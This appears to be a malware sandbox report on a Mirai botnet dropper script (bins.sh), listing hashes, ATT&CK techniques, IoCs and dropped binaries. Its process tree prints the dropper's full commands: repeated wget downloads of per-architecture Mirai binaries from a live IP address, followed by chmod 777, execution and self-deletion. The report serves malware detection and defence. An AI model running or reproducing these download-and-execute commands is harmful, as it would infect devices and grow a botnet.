mirai | dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff

Analysis

max time kernel
104s
max time network
151s
platform
debian-9_mips
resource
debian9-mipsbe-20250619-en
resource tags

arch:mipsimage:debian9-mipsbe-20250619-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipssystem
submitted
05/11/2025, 04:35

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
bins.sh
Size 910B
Sample251105-e7wxrsslhk
SHA256 dd47b5f7dda2ade9c11ef05158d62d5d5f63bc909cfce42a03008f7e1b1928ff
MD5 70301f60cfa959142e2d21c4538330cd
SHA1 1559bd551946945a3cafcdb5f3761edef8b194d2
SHA512 7c49014e7c5aa9487c022488e9da3d843e7a8f7f2da93d3810349122791561d0c03af121c32f766ca5bbcc73c59149e6d3abe424464e2b593e16378f4862a9f0
MD5 SHA1 SHA512

Score

10^/10

botnet mirai defense_evasion discovery mirai

Malware Config

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Extracted

Family

mirai

Botnet

MIRAI

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai
Contacts a large (20162) amount of remote hosts 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046
Creates a large amount of network flows 1 TTPs
This may indicate a network scan to discover remotely running services.
discovery

Network Service Discovery
T1046

File and Directory Permissions Modification 1 TTPs 23 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
736	chmod
749	chmod
774	chmod
814	chmod
835	chmod
900	chmod
904	chmod
760	chmod
798	chmod
827	chmod
831	chmod
873	chmod
884	chmod
896	chmod
753	chmod
880	chmod
888	chmod
892	chmod
741	chmod
745	chmod
785	chmod
823	chmod
723	chmod

Deletes itself 2 IoCs

pid	Process
786	dvrHelper
836	dvrHelper

Executes dropped EXE 23 IoCs

ioc	pid	Process
/tmp/dvrHelper	725	bins.sh
/tmp/dvrHelper	737	bins.sh
/tmp/dvrHelper	742	bins.sh
/tmp/dvrHelper	746	bins.sh
/tmp/dvrHelper	750	bins.sh
/tmp/dvrHelper	754	bins.sh
/tmp/dvrHelper	762	bins.sh
/tmp/dvrHelper	775	bins.sh
/tmp/dvrHelper	786	bins.sh
/tmp/dvrHelper	799	bins.sh
/tmp/dvrHelper	815	bins.sh
/tmp/dvrHelper	824	bins.sh
/tmp/dvrHelper	828	bins.sh
/tmp/dvrHelper	832	bins.sh
/tmp/dvrHelper	836	bins.sh
/tmp/dvrHelper	877	bins.sh
/tmp/dvrHelper	881	bins.sh
/tmp/dvrHelper	885	bins.sh
/tmp/dvrHelper	889	bins.sh
/tmp/dvrHelper	893	bins.sh
/tmp/dvrHelper	897	bins.sh
/tmp/dvrHelper	901	bins.sh
/tmp/dvrHelper	905	bins.sh

Modifies Watchdog functionality 1 TTPs 4 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	dvrHelper
File opened for modification	/dev/misc/watchdog	dvrHelper
File opened for modification	/dev/watchdog	dvrHelper
File opened for modification	/dev/misc/watchdog	dvrHelper

Enumerates active TCP sockets 1 TTPs 2 IoCs

Gets active TCP sockets from /proc virtual filesystem.

discovery

System Network Connections Discovery

T1049

description	ioc	Process
File opened for reading	/proc/net/tcp	dvrHelper
File opened for reading	/proc/net/tcp	dvrHelper

Changes its process name 2 IoCs

description	ioc	pid	Process
Changes the process name, possibly in an attempt to hide itself	guah73f3r4cj37dl	786	dvrHelper
Changes the process name, possibly in an attempt to hide itself	5qpltd1dfwebrvo1vmqj7t0o	836	dvrHelper

Reads system network configuration 1 TTPs 2 IoCs

Uses contents of /proc filesystem to enumerate network settings.

discovery

Internet Connection Discovery

T1016.001

description	ioc	Process
File opened for reading	/proc/net/tcp	dvrHelper
File opened for reading	/proc/net/tcp	dvrHelper

Reads runtime system information 31 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/655/exe	dvrHelper
File opened for reading	/proc/336/fd	dvrHelper
File opened for reading	/proc/655/exe	dvrHelper
File opened for reading	/proc/672/exe	dvrHelper
File opened for reading	/proc/676/exe	dvrHelper
File opened for reading	/proc/671/exe	dvrHelper
File opened for reading	/proc/677/exe	dvrHelper
File opened for reading	/proc/175/fd	dvrHelper
File opened for reading	/proc/338/fd	dvrHelper
File opened for reading	/proc/876/exe	dvrHelper
File opened for reading	/proc/404/exe	dvrHelper
File opened for reading	/proc/1/fd	dvrHelper
File opened for reading	/proc/331/fd	dvrHelper
File opened for reading	/proc/392/fd	dvrHelper
File opened for reading	/proc/869/exe	dvrHelper
File opened for reading	/proc/671/exe	dvrHelper
File opened for reading	/proc/672/exe	dvrHelper
File opened for reading	/proc/404/fd	dvrHelper
File opened for reading	/proc/704/exe	dvrHelper
File opened for reading	/proc/710/exe	dvrHelper
File opened for reading	/proc/791/exe	dvrHelper
File opened for reading	/proc/677/exe	dvrHelper
File opened for reading	/proc/155/fd	dvrHelper
File opened for reading	/proc/248/fd	dvrHelper
File opened for reading	/proc/333/fd	dvrHelper
File opened for reading	/proc/334/fd	dvrHelper
File opened for reading	/proc/702/exe	dvrHelper
File opened for reading	/proc/398/fd	dvrHelper
File opened for reading	/proc/703/exe	dvrHelper
File opened for reading	/proc/676/exe	dvrHelper
File opened for reading	/proc/393/fd	dvrHelper

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
778	wget
834	wget

Writes file to tmp directory 23 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget
File opened for modification	/tmp/dvrHelper	wget

/tmp/bins.sh
/tmp/bins.sh
1⤵
- Executes dropped EXE
PID:705
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.arm5n -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:707
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:723
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:725
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.armv7a -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:728
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:736
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:737
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.m68k -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:739
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:741
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:742
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.mpsl -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:744
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:745
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:746
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.sh4 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:748
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:749
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:750
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.x86 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:752
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:753
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:754
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.arm5n -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:756
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:760
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:762
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.armv7a -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:764
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:774
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:775
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.mips -O dvrHelper
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:778
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:785
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:786
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.ppc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:789
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:798
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:799
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.spc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:803
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:814
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:815
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.arm -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:818
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:823
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:824
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.arm7 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:826
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:827
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:828
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.gnueabihf -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:830
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:831
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:832
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.mips -O dvrHelper
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:834
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:835
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  - Deletes itself
  - Modifies Watchdog functionality
  - Enumerates active TCP sockets
  - Changes its process name
  - Reads system network configuration
  - Reads runtime system information
  PID:836
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.ppc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:868
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:873
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:877
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/mirai.spc -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:879
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:880
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:881
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.arm -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:883
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:884
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:885
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.arm7 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:887
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:888
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:889
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.m68k -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:891
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:892
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:893
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.mpsl -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:895
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:896
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:897
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.sh4 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:899
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:900
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:901
- /usr/bin/wget
  wget http://45.133.119.221:80/bins/miraint.x86 -O dvrHelper
  2⤵
  - Writes file to tmp directory
  PID:903
- /bin/chmod
  chmod 777 dvrHelper
  2⤵
  - File and Directory Permissions Modification
  PID:904
- /tmp/dvrHelper
  ./dvrHelper
  2⤵
  PID:905
- /bin/rm
  rm ./bins.sh
  2⤵
  PID:907
- /bin/rm
  rm ./dvrHelper
  2⤵
  PID:908

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

Network Service Discovery

T1046

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

System Network Connections Discovery

T1049

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

dvrHelper

Path /tmp/dvrHelper
Size 52KB
SHA256 be5cdd7fa8e206af1675707eb9ca01385a883c969017db9f9fa36b3ec0f90b7b
MD5 c26a90f7fde605221345b15eb8b034ba
SHA1 c70de717b295a38c5bc1c41703b7789f1190cf07
SHA512 f5bc6b6e128b8a3469f43ca0c270b1975c8efd8b56f7347228c99a1867ec718d018879fe04a967855c8f1b37461007b20f1c3886f9b908a18c790d3bbb077658
SSDEEP 1536:t1AzmE7Ok0uBsWiPRD+aAb76rL2yBCNt5sw8Q:vAzmE6k0vgkvkbsw8Q
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 389KB
SHA256 1e4a4619afecc3f53f118f7cd0fbf07038563dfa879eeb0335ac84f980c08a5a
MD5 f95b9cc6b617c818b5604cb4db27ff55
SHA1 28d0be63b693b547184bf28a098998c6e03a714f
SHA512 b23024792d5e58cc03c25c7994ab25640c760770cde84e19cec8bdec5a19254cff6d2750f30bb992f6c15250cdb8561317e5d326d31c8134e6b0e086a0e8758a
SSDEEP 12288:iMv3JZdjsLC4ADMtk3tvHQTBwBT8prZB9:jvl2GVpHM
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 58KB
SHA256 11a9bb6be3b240551ac877e8295bd8e2d037e24037c652026b180095a874c014
MD5 abd623c4ae976460f2211978b1c9da3f
SHA1 f0596a304b5a4511c6f1713f0efe9627719747b8
SHA512 efd956365c9048dd1f69fd867f1c46035a4d7bc2ff73803df7a3e5d339f5944c043ba49ef87f9f8fa627d921b9965587f1c3b0202d2fbc9b355b124262213d07
SSDEEP 1536:TKgor9Y1msaRM5PA+6X6aCkBnKSQDVFQFM8L:R6sEM5YXfLNmF2N
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 78KB
SHA256 4f3de52ed263ee374741fc38bb64cc08c7bba38e59333c251eebc5b691c6255c
MD5 13f4b0a28b1e5b08bdac6bedcd0acd57
SHA1 8d900eef06b80428c84566ab2e29221518777bfc
SHA512 94589ecb9a08e75cb1c3df2ba5bb10fde83069583be2f53ee2024bbc09e08c6e61f5c08dc1c9a0f7af7eedd6514e23872194b8185e9985d0f5d294d527318e2d
SSDEEP 1536:JEGFfut1WjhZRcogB2UHqsZMDuPSwtOA3B:J7Ffut14hLgB2U/O
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 53KB
SHA256 e632c1dee6c9f187f36e633ac3db7a0f3db30a936129c04ebaa7e5b074631b51
MD5 5765ec5b75582f635dac7317ee895158
SHA1 376a24db08e59f54c9bd2c04a5cf83360346b325
SHA512 ce9295a3ea79451e2dd22dd2486ba527c1b2b3cd5769649ca3e968afb2c80927452453d0c11342ff3c2100c001ad883765c3d7c92d710387a7e63eaaee88d89e
SSDEEP 1536:DoaN/rpY6ODwtAVCo0s1P9qIGDS6owCc:Do4jnkLCsF6ow
MD5 SHA1 SHA512 SSDEEP

Submit Download

dvrHelper

Path /tmp/dvrHelper
Size 389KB
SHA256 0afd92a80f897f53fac6413dbeebbc800844e34c8fbbd7c335deb8ca4758fa6e
MD5 bb64d8823df3b570f44e165301d562a2
SHA1 12279d02fe4c82c35a506adc5cae2898a3948628
SHA512 6254ed3f3652e88eca6b136e4baf4253e7f88070db7f116fb51ee99a5cb35a5b78d465f30e5e79c4651360b3d33983e9c749603df701c0de30cfcf042c3080a0
SSDEEP 12288:60HTa+UNeLLOZghK3jrPRmcvjI8prZR7:60HTabZjPPv
MD5 SHA1 SHA512 SSDEEP

Submit Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Extracted

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

Replay Monitor

Loading Replay Monitor...

Downloads